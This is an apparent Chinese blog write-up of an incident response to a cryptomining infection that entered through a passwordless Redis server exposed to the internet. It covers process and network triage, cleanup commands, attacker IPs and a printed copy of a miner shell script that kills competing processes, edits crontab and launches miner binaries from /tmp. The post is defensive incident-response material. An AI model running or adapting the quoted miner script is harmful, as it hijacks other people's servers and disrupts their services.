当前位置: 首页 > news >正文

记一次挖矿病毒的溯源

ps:因为项目保密的原因部分的截图是自己在本地的环境复现。

1. 起因

客户打电话过来说,公司web服务异常卡顿。起初以为是web服务缓存过多导致,重启几次无果后觉得可能是受到了攻击。起初以为是ddos攻击,然后去查看web服务器管理面板时发现网络链接很少,但是cpu占用高达99%,于是便怀疑是中了挖矿病毒。

2.排查可疑进程

首先发现cpu占用率过高,初步怀疑是挖矿病毒。于是上ssh开始排查

使用top命令查看进程占用列表。发现并没有占用过高的程序,但是查询cpu占用率确实是99%。怀疑是隐藏了linux进程。

以为是做了进程隐藏,于是写了个python脚本遍历/proc目录。/proc目录是一个虚拟文件系统,用于提供有关系统内核和运行进程的信息。该目录中包含一系列以数字命名的子目录,每个子目录代表一个正在运行的进程。在这些子目录中,可以访问有关进程状态、内存使用情况、打开的文件列表等信息。

该脚本遍历proc目录,查询ps aux不显示的进程id,然后显示打印出来。

import osdef get_max_pid():pid_list = [int(pid) for pid in os.listdir('/proc') if
pid.isdigit()]return str(max(pid_list))def get_existing_process_ids(max_pid):process_ids = []for pid in range(1, int(max_pid) + 1):if os.path.exists('/proc/' + str(pid)):process_ids.append(str(pid))return process_idsdef get_ps_aux_process_ids():process_ids = []output = os.popen('ps aux').read()lines = output.split('n')for line in lines[1:]:if line.strip() != '':pid = line.split()[1]process_ids.append(pid)return process_idsmax_pid = get_max_pid()
existing_process_ids = get_existing_process_ids(max_pid)
ps_aux_process_ids = get_ps_aux_process_ids()for pid in existing_process_ids:if pid not in ps_aux_process_ids:print('Hidden PID {}'.format(pid))

emmmm, 但是效果不是很理想,有一大部分进程都是僵尸进程。

然后一个一个排查后效果不佳,并无发现什么可疑进程。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

3 排查网络链接

于是打算从网络链接中入手,使用netstat
-antp进行排查。发现有进程在链接47.130.146.28这个ip地址,然后拿这个ip地址反查域名。

发现是绑定的log.softgoldinformation.com这个域名。

然后搜索这个域名,发现之前也有人排查过了。

然后发现其实还有其他ip
这里就不一一截图了。moneroocean,xmrig,kdevtmpfsi,mysqlserver等病毒基本上都有在链接。(服务器基本上已经中了n种病毒了。基本上与各种矿池都有链接。)

然后协商客户运维,设置只允许服务器访问国内ip地址,这一步主要是为了能通畅的链接ssh。因为挖矿病毒一般都是挖取xmr,xmr使用的基本上都是cpu,在挖矿进程链接不了矿池的情况下通常都不会产生cpu占用。果然禁止服务器出网后,cpu占用率就下来了。(也是为了防止服务器继续链接挖矿者的c2)

4 寻找漏洞

问过客户服务器有装什么软件,然后说是为了方便做web数据库的缓存,半个月之前装了redis。

使用ps aux|grep redis查看redis端口。

尝试空密码链接成功。基本确定入口点是redis。

5 补救措施

发现基本已经在跑着几个挖矿的病毒了。这里不确定能不能把后门排查完,只能和客户沟通说先排查一遍看看。(因为挖矿木马一般都会有后门,在清理挖矿程序后,后门会自动检查挖矿程序是否运行,如果不运行的话会重新下载一个挖矿程序然后再次运行。所以在完全清除挖矿程序后一段时间内,cpu占用率不飙升就可以说明清理成功。反之则说明挖矿病毒并未清理成功。)

首先查看一下定时任务。 发现并无异常。

cat /etc/crontab

然后查看tmp目录,发现有sh文件,
这里抽取一个sh来分析,基本上/tmp出现这种都可以确定服务器被挖矿了。同理的还有/var/tmp目录。

ls -la /tmp

随便打开一个配置文件就能发现,攻击者的矿池地址和钱包地址。这种情况基本把tmp目录全部清除即可。

下面是一个
solr的挖矿病毒脚本,这里只是kill掉了挖矿同行的进程和定时任务。

#!/bin/sh
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
while [ 1 ]
dokillall /tmp/*killall /var/tmp/*crontab -l | sed '/195.3.146.118/d' | crontab -crontab -l | sed '/cf.sh/d' | crontab -crontab -l | sed '/xms/d' | crontab -crontab -l | sed '/kwork.sh/d' | crontab -crontab -l | sed '/cyberium/d' | crontab -crontab -l | sed '/newdat/d' | crontab -rm -f /tmp/*ps aux | grep -v grep | grep 'javaupDates' | awk '{print $2}'
| xargs -I % kill -9 %ps aux | grep -v grep | grep 'givemexyz' | awk '{print $2}'
| xargs -I % kill -9 %ps aux | grep -v grep | grep 'dbused' | awk '{print $2}' |
xargs -I % kill -9 %ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}'
| xargs -I % kill -9 %ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' |
xargs -I % kill -9 %ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep
'wget' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep
'curl' | awk '{print $2}' | xargs -I % kill -9 %ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep
'urlopen' | awk '{print $2}' | xargs -I % kill -9 %pgrep JavaUpdate | xargs -I % kill -9 %pgrep kinsing | xargs -I % kill -9 %pgrep donate | xargs -I % kill -9 %pgrep kdevtmpfsi | xargs -I % kill -9 %pgrep trace | xargs -I % kill -9 %pgrep sysupdate | xargs -I % kill -9 %pgrep mysqlserver | xargs -I % kill -9 %ps aux | grep -v grep | grep 'trace' | awk '{print $2}' |
xargs -I % kill -9 %pkill xmrigpkill sysupdatepkill sysguardpkill kthreaddkpkill networkservicepkill kdevtmpfsipkill watchbogp=$(ps auxf|grep solrd|awk '{if($3>=60.0) print $2}')name=""$pif [ -z "$name" ]thenpkill solrdps aux | grep -v grep | grep -v
'java|redis|weblogic|solr|mongod|mysql|oracle|tomcat|grep|postgres|confluence|awk|aux|sh'
| awk '{if($3>60.0) print $2}' | xargs -I % kill -9 %nohup /tmp/.solr/solrd &>>/dev/null &sleep 30nohup /tmp/.solr/genshin &>>/dev/null &sleep 30else:fi
done

查看/etc/passwd 是否有恶意用户

cat /etc/passwd

查看ssh是否有后门用户 (因为是redis的洞 很有可能会写入sshkey)

ls -la /root/.ssh/

然后用clamscan扫描一遍

clamscan -r /

设置redis密码登录。(这一步是由客户人员配置)

然后删除tmp目录下的脚本文件

rm -rf /tmp/*.sh

6 脚本分析

这里抽取其中的一个sh脚本讲一下挖矿病毒逻辑,因为脚本较大,所以这里是抽取部分代码过一遍逻辑,实际上常见的挖矿病毒脚本基本都差不多是一个逻辑,所以这里抽取了一个。

首先脚本的逻辑是从kill掉其他挖矿同行进程开始

然后写了一个定时任务

然后判断目标系统位数,到[http://94.103.87.71/]{.underline}去下载病毒程序

这也就是最终的病毒文件

果不其然

最后是自动清理本身

总结

这次事故主要是因为开发人员不懂安全,直接开放redis数据库在公网并且不设置登录密码。虽然是内网服务器但是万幸做好了隔离。不然挖矿病毒肯定会在内网进行传播。

ps:听说客户之后去问了开发小哥,开发小哥说随便在网上找的教程,教程上是这样配置的就直接复制粘贴上去。所以建议大家在配置东西的时候尽量去查一下文档。

相关文章:

  • 基于ssm日用品网站设计论文
  • 深度剖析JavaScript中冒泡和捕获机制、事件代理
  • 升级Xcode15,iOS17后问题解决
  • FFmpeg的AVcodecParser
  • leetcode:457. 环形数组是否存在循环
  • 微信小程序---使用npm包安装Vant组件库
  • qemu 虚拟机
  • 互质数(函数)
  • 实战经验:如何利用房产小程序提升客户满意度?
  • 分页操作中使用LIMIT和OFFSET后出现慢查询的原因分析
  • C++中的继承(一)
  • Ubuntu22.04添加用户
  • Android - 分区存储 MediaStore、SAF
  • uniapp - 简单版本自定义tab栏切换
  • 黑客(网络安全)技术自学30天
  • [分享]iOS开发-关于在xcode中引用文件夹右边出现问号的解决办法
  • 【挥舞JS】JS实现继承,封装一个extends方法
  • AngularJS指令开发(1)——参数详解
  • js数组之filter
  • Less 日常用法
  • PHP 小技巧
  • PHP变量
  • Spark in action on Kubernetes - Playground搭建与架构浅析
  • ucore操作系统实验笔记 - 重新理解中断
  • 不用申请服务号就可以开发微信支付/支付宝/QQ钱包支付!附:直接可用的代码+demo...
  • - 概述 - 《设计模式(极简c++版)》
  • 猫头鹰的深夜翻译:JDK9 NotNullOrElse方法
  • 前嗅ForeSpider中数据浏览界面介绍
  • 区块链分支循环
  • 如何进阶一名有竞争力的程序员?
  • 深度解析利用ES6进行Promise封装总结
  • 我有几个粽子,和一个故事
  • 小程序开发之路(一)
  • 一个普通的 5 年iOS开发者的自我总结,以及5年开发经历和感想!
  • 一些css基础学习笔记
  • 找一份好的前端工作,起点很重要
  • d²y/dx²; 偏导数问题 请问f1 f2是什么意思
  • FaaS 的简单实践
  • Nginx实现动静分离
  • # C++之functional库用法整理
  • # 执行时间 统计mysql_一文说尽 MySQL 优化原理
  • ( 10 )MySQL中的外键
  • (13)[Xamarin.Android] 不同分辨率下的图片使用概论
  • (C#)一个最简单的链表类
  • (c语言)strcpy函数用法
  • (done) ROC曲线 和 AUC值 分别是什么?
  • (html转换)StringEscapeUtils类的转义与反转义方法
  • (Mac上)使用Python进行matplotlib 画图时,中文显示不出来
  • (Oracle)SQL优化技巧(一):分页查询
  • (附源码)springboot 基于HTML5的个人网页的网站设计与实现 毕业设计 031623
  • (附源码)springboot电竞专题网站 毕业设计 641314
  • (六)什么是Vite——热更新时vite、webpack做了什么
  • (三分钟了解debug)SLAM研究方向-Debug总结
  • (原创)boost.property_tree解析xml的帮助类以及中文解析问题的解决
  • (转)Linux NTP配置详解 (Network Time Protocol)